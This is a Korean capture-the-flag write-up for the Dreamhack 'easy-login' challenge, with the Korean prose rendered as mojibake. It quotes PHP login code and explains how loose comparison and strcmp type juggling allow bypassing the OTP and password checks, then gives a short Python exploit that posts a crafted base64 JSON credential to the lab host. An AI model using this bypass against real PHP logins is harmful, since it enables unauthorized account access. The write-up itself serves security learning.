1. ๋ฌธ์
https://dreamhack.io/wargame/challenges/1213
easy-login
Description ๊ด๋ฆฌ์๋ก ๋ก๊ทธ์ธํ์ฌ ํ๋๊ทธ๋ฅผ ํ๋ํ์ธ์! ํ๋๊ทธ ํ์์ DH{...} ์ ๋๋ค.
dreamhack.io
2. ํด๊ฒฐ ๊ณผ์
(1) ๋ฌธ์ ํ์ด์ง ์ ์
- ์์ด๋ / ํจ์ค์๋ / OTP ์ ๋ ฅ
- admin์ผ๋ก ๋ก๊ทธ์ธํด์ผ ํ๋ฏ๋ก, ํจ์ค์๋์ OTP ๋ถ๋ถ์ ์ฐพ๊ฑฐ๋ ์ฐํํด์ ๋ก๊ทธ์ธ์ ์ฑ๊ณตํด์ผ ํ๋ค.
(2) ์ฝ๋ ๋ถ์
- index.php
- generatePassword ํจ์๋ 16์ง์ ๋ฌธ์(0-9, a-f)๋ก ๊ตฌ์ฑ๋ ์ง์ ๋ ๊ธธ์ด์ ์์ ๋น๋ฐ๋ฒํธ๋ฅผ ์์ฑํ๋ค.
- generateOTP ํจ์๋ 'P'๋ก ์์ํ๋ 6์๋ฆฌ์ ์ซ์ OTP๋ฅผ ์์ฑํ๋ค
- admin_pw์ otp๋ ๊ฐ๊ฐ 32์๋ฆฌ ๋น๋ฐ๋ฒํธ์ OTP๋ฅผ ์ ์ฅํ๋ค.
<?php
function generatePassword($length) {
$characters = '0123456789abcdef';
$charactersLength = strlen($characters);
$pw = '';
for ($i = 0; $i < $length; $i++) {
$pw .= $characters[random_int(0, $charactersLength - 1)];
}
return $pw;
}
function generateOTP() {
return 'P' . str_pad(strval(random_int(0, 999999)), 6, "0", STR_PAD_LEFT);
}
$admin_pw = generatePassword(32);
$otp = generateOTP();
...
- ๋ก๊ทธ์ธ ํจ์
- login ํจ์๋ ์ฌ์ฉ์๊ฐ ์ ์ถํ ์๊ฒฉ ์ฆ๋ช (cred)์ ํ์ธํ๊ณ ์ ํจ์ฑ์ ๊ฒ์ฌํ๋ค.
- cred์ base64๋ก ์ธ์ฝ๋ฉ๋์ด ์์ผ๋ฉฐ, ์ด๋ฅผ ๋์ฝ๋ํ๊ณ JSON์ผ๋ก ๋ณํํ์ฌ ๊ฒ์ฌํ๋ค.
- cred์๋ id, pw, otp๊ฐ ์์ด์ผ ํ๋ฉฐ, ์ด ์ค ํ๋๋ผ๋ ๋๋ฝ๋๋ฉด "Cred error"๋ฅผ ๋ฐํํ๋ค.
- id๊ฐ admin์ด ์๋๋ฉด hello ~ ๋ฅผ ์ถ๋ ฅํ๋ค.
- id๊ฐ 'admin'์ด์ด์ผ ํ๊ณ , otp๊ฐ ์์ฑ๋ otp์ ์ผ์นํ๊ณ , ๋น๋ฐ๋ฒํธ๊ฐ admin_pw์ ์ผ์นํ๋ฉด ํ๋๊ทธ๋ฅผ ์ถ๋ ฅํ๋ค.
function login() {
if (!isset($_POST['cred'])) {
echo "Please login...";
return;
}
if (!($cred = base64_decode($_POST['cred']))) {
echo "Cred error";
return;
}
if (!($cred = json_decode($cred, true))) {
echo "Cred error";
return;
}
if (!(isset($cred['id']) && isset($cred['pw']) && isset($cred['otp']))) {
echo "Cred error";
return;
}
if ($cred['id'] != 'admin') {
echo "Hello," . $cred['id'];
return;
}
if ($cred['otp'] != $GLOBALS['otp']) {
echo "OTP fail";
return;
}
if (!strcmp($cred['pw'], $GLOBALS['admin_pw'])) {
require_once('flag.php');
echo "Hello, admin! get the flag: " . $flag;
return;
}
echo "Password fail";
return;
}
?>
๋ธ๋ฃจํธ ํฌ์ค๋ฅผ ํตํด์ ๋น๋ฐ๋ฒํธ์ otp ๊ฐ์ ์์๋ด๋ ค๊ณ ํ์ง๋ง,
์ธ์ ์ ํด๋น ๊ฐ์ด ์ ์ฅ๋๋ ๊ฒ์ด ์๋๋ฏ๋ก ์๋ํ ๋๋ง๋ค ์๋ก์ด ํจ์ค์๋์ otp ๊ฐ์ด ์์ฑ๋๋ฏ๋ก ๋ถ๊ฐ๋ฅํ๋ค.
๋ฐ๋ผ์ ํจ์ค์๋ ์ ๋ ฅ๊ณผ otp์ ๋ ฅ์ ์ฐํํด์ผ ํ๋ค.
https://www.php.net/manual/en/types.comparisons.php
PHP: PHP type comparison tables - Manual
Some function to write out your own comparisson table in tsv format. Can be easily modified to add more testcases and/or binary functions. It will test all comparables against each other with all functions. '==', 'ne' => '!=', 'gt' => '>', 'lt' => '<', 'ne
www.php.net
์์ ๋งํฌ๋ฅผ ํตํด์ PHP์ ๋น๊ต์ฐ์ฐ์ ๋ํ ์ฐํ๋ฒ์ ์์๋ผ ์ ์๋ค.
PHP์์๋ ๋ฌธ์์ด์ ๋น๊ตํ ๋ ์๋์ผ๋ก ํ์ ๋ณํ์ด ์ด๋ฃจ์ด์ง๋ค.
๋ฐ๋ผ์ ํน์ ๊ฐ๋ค์ ๋น๊ตํ ๋ ์์์น ๋ชปํ ๊ฒฐ๊ณผ๊ฐ ๋์ฌ ์ ์๋ค.
์ฝ๋๋ฅผ ๋ณด๋ฉด OTP๋ != ๋ฅผ ํตํด์ ๋น๊ต๋ฅผ ํ๊ณ ์๋ค.
์ฆ, loose ๋น๊ต๋ฅผ ์งํํ๊ณ ์์ผ๋ฏ๋ก ๊ฐ๋ง ๋น๊ตํ๊ณ ์์ผ๋ฉฐ ํ์ ์ด ๋ค๋ฅด๋ฉด ํ๋ณํ์ ์งํํ๊ธฐ ๋๋ฌธ์, ์ด๋ฅผ ์ด์ฉํด์ otp ๊ฒ์ฌ๋ฅผ ์ฐํํ ์ ์๋ค.
generateOTP ํจ์๋ strval ํจ์๋ฅผ ํตํด ์ ์๋ฅผ ๋ฌธ์์ด๋ก ๋ณํํ๊ธฐ ๋๋ฌธ์, OTP์ ๊ฐ์ ๋ฌธ์์ด์ด๋ค.
๋ฐ๋ผ์ ๋ง์ฝ ์ ๋ ฅ๊ฐ์ ๋ฌธ์์ด๋ก ์ฃผ์ง ์๊ณ , true๊ฐ(boolean)์ด ๋ฐํ๋๋๋ก ํ๋ฉด php๋ ์ด๋ฅผ ๋์ผํ๋ค๊ณ ํ๋จํ ๊ฒ์ด๋ค.
if ($cred['otp'] != $GLOBALS['otp']) {
echo "OTP fail";
return;
}
๋ํ, pw๊ฐ์ strcmpํจ์๋ฅผ ํตํด ๋น๊ต๋ฅผ ์งํํ๊ณ ์๋ค.
strcmpํจ์๋ ์ธ์๊ฐ์ผ๋ก string์ด ๋ค์ด์ค์ง ์์ ๋ null(false)๋ฅผ ๋ฐํํ๋ ์ทจ์ฝ์ ์ ๊ฐ์ง๊ณ ์๋ค.
๋ฐ๋ผ์, ๋ฐฐ์ด๊ฐ์ผ๋ก ํจ์ค์๋๊ฐ์ ์ฃผ์ด์ !null์ ๋ฐ์์์ผ true๊ฐ ๋ฆฌํด๋๋๋ก ์ฐํํ ์ ์๋ค.
if (!strcmp($cred['pw'], $GLOBALS['admin_pw'])) {
require_once('flag.php');
echo "Hello, admin! get the flag: " . $flag;
return;
}
์ต์คํ๋ก์ ์ฝ๋
import requests
import json
import base64
# URL
url = 'http://host3.dreamhack.games:10839/'
# ์
๋ ฅ
cred = {
'id': 'admin',
'pw': [],
'otp': True
}
# JSON -> base64 ์ธ์ฝ๋ฉ
cred_encoded = base64.b64encode(json.dumps(cred).encode()).decode()
# POST
post_data = {
'cred': cred_encoded
}
# ์์ฒญ
response = requests.post(url, data=post_data)
# ์๋ต
print(response.text)